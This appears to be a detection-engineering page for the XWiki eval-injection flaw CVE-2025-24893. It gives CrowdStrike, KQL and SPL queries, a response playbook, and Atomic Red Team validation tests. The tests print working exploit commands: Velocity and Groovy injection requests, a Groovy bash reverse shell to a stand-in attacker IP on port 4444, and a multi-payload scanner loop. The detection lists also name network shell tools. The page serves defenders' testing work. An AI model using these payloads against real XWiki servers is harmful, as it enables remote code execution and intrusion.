Detect CVE-2025-24893 XWiki Platform Eval Injection Exploitation in CrowdStrike LogScale
Detects exploitation of CVE-2025-24893, an eval injection vulnerability (CWE-95) in XWiki Platform that allows remote code execution via server-side template injection. This CVE is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Attackers can craft malicious wiki content or URLs containing Groovy/Velocity template expressions that are evaluated server-side, leading to arbitrary code execution under the XWiki process context.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName IN (NetworkConnectIP4, NetworkConnectIP6, ProcessRollup2, SyntheticProcessRollup2)
| CommandLine LIKE "*java*" OR FileName IN ("java", "java.exe")
| ParentBaseFileName IN ("java", "catalina.sh", "startup.sh", "wrapper", "jsvc")
| ChildFileName IN ("sh", "bash", "cmd.exe", "powershell.exe", "python", "python3", "curl", "wget", "nc", "ncat", "ncat.exe", "whoami", "id", "net.exe")
| RemotePort IN (80, 443, 8080, 8443, 4444, 9999)
| RemoteAddressIP4 != "127.0.0.1" AND RemoteAddressIP4 != "::1"
| eval ThreatIndicator = "CVE-2025-24893 XWiki RCE Post-Exploitation"
| stats count() AS event_count, values(ChildFileName) AS spawned_processes, values(CommandLine) AS commands, earliest(timestamp) AS first_seen, latest(timestamp) AS last_seen BY ComputerName, UserName, FileName, ThreatIndicator
| where event_count > 0
| sort -event_count CrowdStrike CQL query detecting post-exploitation activity following CVE-2025-24893 XWiki eval injection by identifying suspicious child processes spawned from Java/Tomcat parent processes and unusual outbound network connections, indicating successful remote code execution.
Data Sources
Required Tables
False Positives & Tuning
- Java application servers legitimately spawning shell scripts for scheduled maintenance tasks initiated from within the JVM
- XWiki Groovy scripts authorized by administrators that execute system commands for backup, monitoring, or integration purposes
- Java-based build tools such as Maven or Gradle running tests that spawn child processes from a Tomcat-based parent
- Container health check processes that invoke shell commands from within Java application containers during orchestration
Other platforms for CVE-2025-24893
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1XWiki Velocity Template Expression Injection via URL Parameter
Expected signal: Web server access log entry for GET request to /xwiki/bin/view/Main/WebHome with URL-encoded Velocity expression `#set($rt=$x.class.forName("java.lang.Runtime"))` and `exec("id")` in query parameters; Syslog or Java log entry showing Velocity evaluation; possible child process `id` spawned from Java parent.
- Test 2XWiki Groovy Script Injection via Wiki Page Edit API
Expected signal: Web server access log showing PUT request to /xwiki/rest/wikis/xwiki/spaces/Main/pages/ with XML body containing `{{groovy}}` and `execute()` content. XWiki application log showing Groovy script evaluation event. Process event showing `id` command execution as child of Java process if the page is subsequently rendered.
- Test 3XWiki Post-Exploitation Reverse Shell via Groovy RCE
Expected signal: Process event showing `bash` child process spawned from Java parent with command line containing `/dev/tcp/` indicating reverse shell. Network connection event from Java/bash process to attacker IP on port 4444. XWiki application log showing Groovy script evaluation. Syslog entries showing bash process activity under the XWiki service account.
- Test 4XWiki Eval Injection Scanner Simulation
Expected signal: Multiple web server access log entries within a short time window for GET requests to /xwiki/bin/view/Main/WebHome with varying URL-encoded Groovy, Velocity, and FreeMarker injection payloads in query parameters from the same source IP.
Response Playbook
Triage
- Identify the source IP address of the request and determine if it matches known threat intelligence feeds, Tor exit nodes, or previous attack infrastructure; cross-reference with CISA KEV alert context for CVE-2025-24893.
- Examine the full HTTP request URL, headers, and POST body for Groovy or Velocity template injection payloads such as `{{groovy}}`, `${...}`, `#set(...)`, `Runtime.exec(...)`, or `ProcessBuilder` patterns that indicate active exploitation.
- Determine whether the request reached a vulnerable XWiki endpoint (e.g., `/xwiki/bin/view/`, `/xwiki/rest/wikis/`) and whether the XWiki instance version is known to be unpatched against CVE-2025-24893.
- Review XWiki application logs (`xwiki.log`, `xwiki-stacktrace.log`) for Groovy evaluation errors, script execution events, or Java reflection exceptions that indicate payload processing.
- Check for subsequent process spawning from the Java/Tomcat process immediately after the suspicious HTTP request timestamp to determine if code execution was achieved.
Containment
- Immediately block the source IP address at the perimeter firewall and WAF, and deploy a WAF rule to block requests matching Groovy/Velocity injection patterns (e.g., `{{groovy}}`, `ProcessBuilder`, `Runtime.exec`) targeting XWiki URL paths.
- If exploitation is confirmed, isolate the XWiki host from the network to prevent lateral movement and data exfiltration while preserving the system for forensic analysis; place the XWiki service behind an IP allowlist or take it offline until patched.
- Revoke all active XWiki session tokens and force re-authentication for all users, including administrators, to prevent session hijacking by an attacker who may have obtained session cookies through the exploitation chain.
Evidence Collection
- Collect full XWiki application logs (`xwiki.log`, `xwiki-stacktrace.log`, `catalina.out`) covering the period from 48 hours before the first suspicious request through the time of containment, preserving original timestamps and file hashes.
- Capture a memory dump of the Java/Tomcat process and a filesystem snapshot of the XWiki installation directory, including the `data/` directory, to identify any dropped webshells, modified files, or persistent backdoors installed during exploitation.
- Export all web server access logs (Nginx/Apache/IIS) for the affected host and extract all requests from the attacking IP address and any IPs that appeared in network connections spawned by the XWiki process after the attack timestamp.
Escalation Criteria
- !Escalate to incident response if any child processes were spawned from the Java/Tomcat parent after the exploitation attempt, or if outbound network connections were established to external IPs from the XWiki server process, indicating successful RCE.
- !Escalate immediately if evidence of persistence mechanisms is found such as new cron jobs, modified XWiki configuration files, installed webshells, or new user accounts created on the host system after the attack window.
- !Escalate if the XWiki instance stores sensitive organizational data, credentials, or integrates with Active Directory/LDAP, as the attacker may have pivoted to internal systems or extracted credentials.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
XWiki application log entries in `xwiki.log` and `xwiki-stacktrace.log` containing Groovy evaluation events, script execution traces, or Java ClassLoader invocations at the attack timestamp - >
Web server access log entries showing HTTP POST or GET requests to `/xwiki/bin/view/`, `/xwiki/bin/save/`, or `/xwiki/rest/` endpoints with URL-encoded Groovy/Velocity payloads in query parameters or request bodies - >
Process creation events showing child processes (sh, bash, curl, wget, python, nc) with parent process being the Java/Tomcat JVM hosting XWiki - >
Network connection events from the Java process to external IP addresses not in the baseline of normal XWiki network behavior, particularly on non-standard ports - >
Filesystem modifications in the XWiki `data/` directory, Tomcat `webapps/` directory, or `/tmp/` with timestamps correlating to the exploitation window
Tuning Guidance
Reduce false positives by baselining legitimate XWiki Groovy macro usage in your environment — identify and allowlist known script authors, internal IP addresses used by XWiki administrators, and specific URL patterns for approved Groovy-based macros. The EQL and CrowdStrike queries (Java child process spawning) have the highest confidence and lowest false positive rate. HTTP-pattern queries (KQL, SPL, Sumo Logic) will generate noise in environments where XWiki is heavily customized with Groovy/Velocity templates — tune by adding allowlisting for known internal admin source IPs and specific approved URL paths. For environments without XWiki deployed, suppress all these rules. Adjust the `maxspan` in the EQL sequence query based on your XWiki server's observed response times.
Hunting Queries
Threat hunting query to search for evidence of XWiki Groovy script engine abuse across the past 7 days, identifying Java process log entries that indicate server-side Groovy evaluation events or Java reflection patterns consistent with CVE-2025-24893 exploitation.
Syslog
| where TimeGenerated > ago(7d)
| where ProcessName in ("java", "tomcat", "catalina")
| where SyslogMessage has_any ("groovy.lang.GroovyShell", "groovy.lang.Script", "ProcessBuilder", "Runtime.exec", "org.xwiki.groovy", "script.groovy")
| extend PayloadIndicator = extract(@"(groovy\.lang\.[A-Za-z]+|ProcessBuilder|Runtime\.exec|exec\()", 0, SyslogMessage)
| summarize EventCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), PayloadIndicators = make_set(PayloadIndicator) by Computer, ProcessName
| where EventCount > 0
| sort by EventCount desc index=* sourcetype IN ("syslog", "java_log", "catalina")
(process="java" OR process="tomcat" OR process="catalina")
(message="*groovy.lang.GroovyShell*" OR message="*groovy.lang.Script*" OR message="*ProcessBuilder*"
OR message="*Runtime.exec*" OR message="*org.xwiki.groovy*" OR message="*script.groovy*")
earliest=-7d
| rex field=message "(?P<payload>groovy\.lang\.[A-Za-z]+|ProcessBuilder|Runtime\.exec|exec\([^)]+\))"
| stats count AS events, earliest(_time) AS first_seen, latest(_time) AS last_seen, values(payload) AS payloads BY host, process
| sort -events Hunting query for suspicious child process spawning from Java/Tomcat processes with XWiki indicators in the parent command line, covering both Windows Sysmon and Linux endpoint telemetry over a 14-day window to identify post-exploitation activity from CVE-2025-24893.
let xwikiProcesses = dynamic(["java", "java.exe"]);
let suspiciousChildren = dynamic(["sh", "bash", "cmd.exe", "powershell.exe", "python", "python3", "curl", "wget", "nc", "ncat", "whoami", "id", "net"]);
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName in~ (xwikiProcesses)
| where FileName in~ (suspiciousChildren)
| where InitiatingProcessCommandLine has_any ("xwiki", "catalina", "tomcat", "-Dxwiki", "-Dfile.encoding")
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName
| extend ThreatHint = "Potential XWiki RCE child process — investigate CVE-2025-24893"
| sort by TimeGenerated desc index=* sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\java.exe" OR ParentImage="*\\javaw.exe")
(ParentCommandLine="*xwiki*" OR ParentCommandLine="*catalina*" OR ParentCommandLine="*tomcat*" OR ParentCommandLine="*-Dxwiki*")
(Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\sh" OR Image="*\\bash"
OR Image="*\\curl*" OR Image="*\\wget*" OR Image="*\\whoami.exe" OR Image="*\\net.exe")
earliest=-14d
| table _time, ComputerName, Image, CommandLine, ParentImage, ParentCommandLine, User
| sort -_time Atomic Red Team Tests
Simulates CVE-2025-24893 exploitation by sending a crafted HTTP GET request to an XWiki view endpoint containing a Velocity template expression in a URL parameter that executes server-side code. This tests detection of the initial injection vector.
Command
curl -sk -X GET "http://TARGET_XWIKI_HOST:8080/xwiki/bin/view/Main/WebHome?xpage=plain&sheet=%23set(%24x=%22%22)%23set(%24rt=%24x.class.forName(%22java.lang.Runtime%22))%23set(%24ex=%24rt.exec(%22id%22))" -H "Cookie: JSESSIONID=ATTACKER_SESSION" -A "Mozilla/5.0" -v 2>&1 | tee /tmp/xwiki_vel_inject_result.txt Cleanup
rm -f /tmp/xwiki_vel_inject_result.txt Expected Telemetry
Web server access log entry for GET request to /xwiki/bin/view/Main/WebHome with URL-encoded Velocity expression `#set($rt=$x.class.forName("java.lang.Runtime"))` and `exec("id")` in query parameters; Syslog or Java log entry showing Velocity evaluation; possible child process `id` spawned from Java parent.
Expected Detection
KQL/SPL HTTP pattern queries trigger on `%23set%28` and `forName` and `exec` in the XWiki URL. EQL sequence fires if id process spawned from java parent. Chronicle YARA-L rule matches on #set( and exec( patterns.
Simulates CVE-2025-24893 Groovy eval injection by using XWiki's REST API to create or edit a wiki page containing a Groovy macro that executes a system command, reflecting the attacker workflow of injecting malicious wiki content.
Command
curl -sk -X PUT "http://TARGET_XWIKI_HOST:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/AttackerTest" -u "compromised_user:password" -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>Test</title><syntax>xwiki/2.1</syntax><content>{{groovy}}println("RCE: " + ["id"].execute().text){{/groovy}}</content></page>' -v 2>&1 | tee /tmp/xwiki_groovy_inject_result.txt Cleanup
curl -sk -X DELETE "http://TARGET_XWIKI_HOST:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/AttackerTest" -u "compromised_user:password"; rm -f /tmp/xwiki_groovy_inject_result.txt Expected Telemetry
Web server access log showing PUT request to /xwiki/rest/wikis/xwiki/spaces/Main/pages/ with XML body containing `{{groovy}}` and `execute()` content. XWiki application log showing Groovy script evaluation event. Process event showing `id` command execution as child of Java process if the page is subsequently rendered.
Expected Detection
SPL and KQL HTTP queries match on `groovy` keyword in XWiki REST API path. Chronicle YARA-L triggers on `{{groovy}}` pattern. If page is rendered and Groovy executes, CrowdStrike CQL and EQL sequence rules trigger on child process spawning.
Simulates the post-exploitation phase of CVE-2025-24893 where an attacker has achieved initial RCE and uses it to establish a reverse shell, demonstrating the full impact of the vulnerability in a lab environment.
Command
# Step 1: Start listener on attacker machine (separate terminal)
nc -lvnp 4444 &
ATTACKER_IP="192.168.1.100" # Replace with lab attacker IP
# Step 2: Send Groovy reverse shell payload via XWiki URL
curl -sk -X GET "http://TARGET_XWIKI_HOST:8080/xwiki/bin/view/Main/WebHome" \
--data-urlencode "content={{groovy}}def cmd = ['bash','-c','bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1'].execute(){{/groovy}}" \
-H "Cookie: JSESSIONID=VALID_SESSION" \
-v 2>&1 | tee /tmp/xwiki_revshell_result.txt Cleanup
kill %1 2>/dev/null; rm -f /tmp/xwiki_revshell_result.txt Expected Telemetry
Process event showing `bash` child process spawned from Java parent with command line containing `/dev/tcp/` indicating reverse shell. Network connection event from Java/bash process to attacker IP on port 4444. XWiki application log showing Groovy script evaluation. Syslog entries showing bash process activity under the XWiki service account.
Expected Detection
EQL sequence rule triggers on network request to XWiki followed by bash process spawned from java parent. CrowdStrike CQL triggers on bash as child of java with outbound network connection to external IP on port 4444. KQL Syslog query matches on ProcessBuilder or Runtime.exec patterns in Java application logs.
Simulates automated vulnerability scanner behavior probing XWiki for CVE-2025-24893 by sending multiple crafted requests with different injection payload variants to test detection coverage breadth across query syntaxes.
Command
TARGET="http://TARGET_XWIKI_HOST:8080"
for payload in '{{groovy}}println("test"){{/groovy}}' '#set($x="test")$x' '${"freemarker.template.utility.Execute"?new()("id")}' '{{velocity}}#set($e="")$e.class.forName("java.lang.Runtime").getMethod("exec",$e.class.forName("java.lang.String")).invoke($e.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id"){{/velocity}}'; do
echo "[*] Testing payload: $payload"
curl -sk -X GET "$TARGET/xwiki/bin/view/Main/WebHome" \
--data-urlencode "xpage=$payload" \
-H "User-Agent: Mozilla/5.0" \
-o /dev/null -w "%{http_code}\n"
sleep 1
done 2>&1 | tee /tmp/xwiki_scan_result.txt Cleanup
rm -f /tmp/xwiki_scan_result.txt Expected Telemetry
Multiple web server access log entries within a short time window for GET requests to /xwiki/bin/view/Main/WebHome with varying URL-encoded Groovy, Velocity, and FreeMarker injection payloads in query parameters from the same source IP.
Expected Detection
HTTP pattern detection queries (KQL, SPL, Sumo Logic, QRadar AQL) trigger on multiple requests containing groovy, velocity, #set, and %7B%7B patterns targeting XWiki paths. Rate-based correlation may trigger on multiple injection attempts from the same source IP within a short window.